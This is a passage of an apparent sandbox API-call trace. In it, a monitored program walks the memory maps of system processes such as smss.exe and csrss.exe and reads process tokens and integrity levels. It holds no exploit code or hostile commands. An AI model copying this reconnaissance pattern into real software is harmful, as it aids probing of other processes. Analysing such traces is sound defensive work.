VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x100000), ResultLength=0x0) returned 0x0 [0149.792] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x100000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x100000, AllocationBase=0x0, AllocationProtect=0x100000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.792] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x100000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.793] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x101000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x101000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xbf000), ResultLength=0x0) returned 0x0 [0149.793] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x1c0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x1c0000, AllocationBase=0x0, AllocationProtect=0x1c0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x7a000), ResultLength=0x0) returned 0x0 [0149.793] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x23a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x23a000, AllocationBase=0x0, AllocationProtect=0x1c0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.793] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x23d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x23d000, AllocationBase=0x0, AllocationProtect=0x1c0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.793] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x240000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x240000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0xa0000), ResultLength=0x0) returned 0x0 [0149.793] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x2e0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x2e0000, AllocationBase=0x0, AllocationProtect=0x2e0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x7a000), ResultLength=0x0) returned 0x0 [0149.793] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x35a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x35a000, AllocationBase=0x0, AllocationProtect=0x2e0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.793] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x35d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x35d000, AllocationBase=0x0, AllocationProtect=0x2e0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.793] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x360000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x360000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.793] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x370000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x370000, AllocationBase=0x0, AllocationProtect=0x370000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x25000), ResultLength=0x0) returned 0x0 [0149.793] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x395000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x395000, AllocationBase=0x0, AllocationProtect=0x370000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0xdb000), ResultLength=0x0) returned 0x0 [0149.793] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x470000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x470000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x140000), ResultLength=0x0) returned 0x0 [0149.793] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x5b0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x5b0000, AllocationBase=0x0, AllocationProtect=0x5b0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x7a000), ResultLength=0x0) returned 0x0 [0149.793] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x62a000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x62a000, AllocationBase=0x0, AllocationProtect=0x5b0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.794] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x62d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x62d000, AllocationBase=0x0, AllocationProtect=0x5b0000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.794] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x630000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x630000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x50000), ResultLength=0x0) returned 0x0 [0149.794] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x680000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x680000, AllocationBase=0x0, AllocationProtect=0x680000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x7a000), ResultLength=0x0) returned 0x0 [0149.794] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x6fa000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x6fa000, AllocationBase=0x0, AllocationProtect=0x680000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.794] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x6fd000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x6fd000, AllocationBase=0x0, AllocationProtect=0x680000, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.794] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x700000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x700000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x47b80000), ResultLength=0x0) returned 0x0 [0149.794] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x48280000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x48280000, AllocationBase=0x0, AllocationProtect=0x48280000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.794] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x48280000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270*(SectionFileName.Length=0x62, SectionFileName.MaximumLength=0x64, SectionFileName.Buffer="\\Device\\HarddiskVolume1\\Windows\\System32\\smss.exe"), ResultLength=0x0) returned 0x0 [0149.794] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa36418 [0149.794] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c472a0 [0149.794] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x48281000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x48281000, AllocationBase=0x0, AllocationProtect=0x48280000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1a000), ResultLength=0x0) returned 0x0 [0149.794] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x4829b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x4829b000, AllocationBase=0x0, AllocationProtect=0x48280000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.795] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x4829d000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x4829d000, AllocationBase=0x0, AllocationProtect=0x48280000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.795] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x482a0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x482a0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x2f970000), ResultLength=0x0) returned 0x0 [0149.795] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77c10000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77c10000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.795] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77c10000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270*(SectionFileName.Length=0x64, SectionFileName.MaximumLength=0x66, SectionFileName.Buffer="\\Device\\HarddiskVolume1\\Windows\\System32\\ntdll.dll"), ResultLength=0x0) returned 0x0 [0149.795] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa36440 [0149.795] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c47328 [0149.795] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77c11000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77c11000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x102000), ResultLength=0x0) returned 0x0 [0149.795] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77d13000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d13000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2f000), ResultLength=0x0) returned 0x0 [0149.795] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77d42000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d42000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.795] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77d43000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d43000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.795] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77d44000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d44000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.795] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77d45000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d45000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.795] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77d47000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d47000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.796] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77d48000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d48000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.796] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77d49000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d49000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.796] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77d4b000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d4b000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.796] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77d4e000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77d4e000, AllocationBase=0x0, AllocationProtect=0x77c10000, RegionSize=0x0, State=0x80, Protect=0xfffff8a0, Type=0x6b000), ResultLength=0x0) returned 0x0 [0149.796] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x77db9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x77db9000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x7227000), ResultLength=0x0) returned 0x0 [0149.796] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7efe0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7efe0000, AllocationBase=0x0, AllocationProtect=0x7efe0000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x1000000), ResultLength=0x0) returned 0x0 [0149.796] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7ffe0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7ffe0000, AllocationBase=0x0, AllocationProtect=0x7ffe0000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.796] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7ffe1000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7ffe1000, AllocationBase=0x0, AllocationProtect=0x7ffe0000, RegionSize=0x0, State=0x2, Protect=0xfffff8a0, Type=0xf000), ResultLength=0x0) returned 0x0 [0149.796] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fff0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x7fff0000, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x7ff40000), ResultLength=0x0) returned 0x0 [0149.796] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefff30000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfff30000, AllocationBase=0x7fe, AllocationProtect=0xfff30000, RegionSize=0x7fe, State=0x80, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.796] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefff30000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270*(SectionFileName.Length=0x72, SectionFileName.MaximumLength=0x74, SectionFileName.Buffer="\\Device\\HarddiskVolume1\\Windows\\System32\\apisetschema.dll"), ResultLength=0x0) returned 0x0 [0149.796] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x20) returned 0xa36468 [0149.797] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x80) returned 0x1c473b0 [0149.797] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fefff31000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfff31000, AllocationBase=0x7fe, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x7f000), ResultLength=0x0) returned 0x0 [0149.797] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fffffb0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfffb0000, AllocationBase=0x7ff, AllocationProtect=0xfffb0000, RegionSize=0x7ff, State=0x2, Protect=0xfffff8a0, Type=0x23000), ResultLength=0x0) returned 0x0 [0149.797] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fffffb0000, VirtualMemoryInformationClass=0x2, VirtualMemoryInformation=0x1b46270, Length=0x2800, ResultLength=0x0 | out: VirtualMemoryInformation=0x1b46270, ResultLength=0x0) returned 0xc0000098 [0149.797] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fffffd3000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfffd3000, AllocationBase=0x7ff, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x3000), ResultLength=0x0) returned 0x0 [0149.797] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fffffd6000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfffd6000, AllocationBase=0x7ff, AllocationProtect=0xfffd6000, RegionSize=0x7ff, State=0x4, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.797] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fffffd8000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfffd8000, AllocationBase=0x7ff, AllocationProtect=0xfffd8000, RegionSize=0x7ff, State=0x4, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.797] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fffffd9000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfffd9000, AllocationBase=0x7ff, AllocationProtect=0x0, RegionSize=0x0, State=0x0, Protect=0xfffff8a0, Type=0x1000), ResultLength=0x0) returned 0x0 [0149.797] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fffffda000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfffda000, AllocationBase=0x7ff, AllocationProtect=0xfffda000, RegionSize=0x7ff, State=0x4, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.797] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fffffdc000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfffdc000, AllocationBase=0x7ff, AllocationProtect=0xfffdc000, RegionSize=0x7ff, State=0x4, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.797] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fffffde000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfffde000, AllocationBase=0x7ff, AllocationProtect=0xfffde000, RegionSize=0x7ff, State=0x4, Protect=0xfffff8a0, Type=0x2000), ResultLength=0x0) returned 0x0 [0149.797] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7fffffe0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0xfffe0000, AllocationBase=0x7ff, AllocationProtect=0xfffe0000, RegionSize=0x7ff, State=0x2, Protect=0xfffff8a0, Type=0x10000), ResultLength=0x0) returned 0x0 [0149.797] NtQueryVirtualMemory (in: ProcessHandle=0x170, Address=0x7ffffff0000, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88, ResultLength=0x0) returned 0xc000000d [0149.797] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x800) returned 0x1ab84d0 [0149.797] QueryFullProcessImageNameW (in: hProcess=0x1b0, dwFlags=0x0, lpExeName=0x1ab84d0, lpdwSize=0x1a7f9d8 | out: lpExeName="C:\\Windows\\System32\\csrss.exe", lpdwSize=0x1a7f9d8) returned 1 [0149.798] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0x1ab84d0) returned 1 [0149.798] IsWow64Process (in: hProcess=0xffffffff, Wow64Process=0x1a7f9ac | out: Wow64Process=0x1a7f9ac) returned 1 [0149.798] IsWow64Process (in: hProcess=0x1b0, Wow64Process=0x1a7f9bc | out: Wow64Process=0x1a7f9bc) returned 1 [0149.798] NtQueryInformationProcess (in: ProcessHandle=0x1b0, ProcessInformationClass=0x18, ProcessInformation=0x1a7f9b8, ProcessInformationLength=0x4, ReturnLength=0x1a7f9bc | out: ProcessInformation=0x1a7f9b8, ReturnLength=0x1a7f9bc) returned 0x0 [0149.798] GetProcessTimes (in: hProcess=0x1b0, lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0 | out: lpCreationTime=0x1a7f9d8, lpExitTime=0x1a7f9e0, lpKernelTime=0x1a7f9e0, lpUserTime=0x1a7f9e0) returned 1 [0149.798] OpenProcessToken (in: ProcessHandle=0x1b0, DesiredAccess=0x8, TokenHandle=0x1a7f9ac | out: TokenHandle=0x1a7f9ac*=0x1c0) returned 1 [0149.798] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0x1a7f9a8 | out: TokenInformation=0x0, ReturnLength=0x1a7f9a8) returned 0 [0149.798] RtlAllocateHeap (HeapHandle=0xa90000, Flags=0x8, Size=0x40) returned 0xa3cad0 [0149.798] GetTokenInformation (in: TokenHandle=0x1c0, TokenInformationClass=0x19, TokenInformation=0xa3cad0, TokenInformationLength=0x14, ReturnLength=0x1a7f9a8 | out: TokenInformation=0xa3cad0, ReturnLength=0x1a7f9a8) returned 1 [0149.798] GetSidSubAuthorityCount (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000)) returned 0xa3cad9 [0149.798] GetSidSubAuthority (pSid=0xa3cad8*(Revision=0x1, SubAuthorityCount=0x1, IdentifierAuthority.Value=([0]=0x0, [1]=0x0, [2]=0x0, [3]=0x0, [4]=0x0, [5]=0x10), SubAuthority=0x4000), nSubAuthority=0x0) returned 0xa3cae0 [0149.798] RtlFreeHeap (HeapHandle=0xa90000, Flags=0x0, BaseAddress=0xa3cad0) returned 1 [0149.798] NtClose (Handle=0x1c0) returned 0x0 [0149.798] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x0, VirtualMemoryInformationClass=0x0, VirtualMemoryInformation=0xa3ca88, Length=0x30, ResultLength=0x0 | out: VirtualMemoryInformation=0xa3ca88*(BaseAddress=0x0, AllocationBase=0x0, AllocationProtect=0x0, RegionSize=0x0, State=0x4, Protect=0xfffff8a0, Type=0x100000), ResultLength=0x0) returned 0x0 [0149.798] NtQueryVirtualMemory (in: ProcessHandle=0x1b0, Address=0x100000, VirtualMemoryInformationClass=0x0, 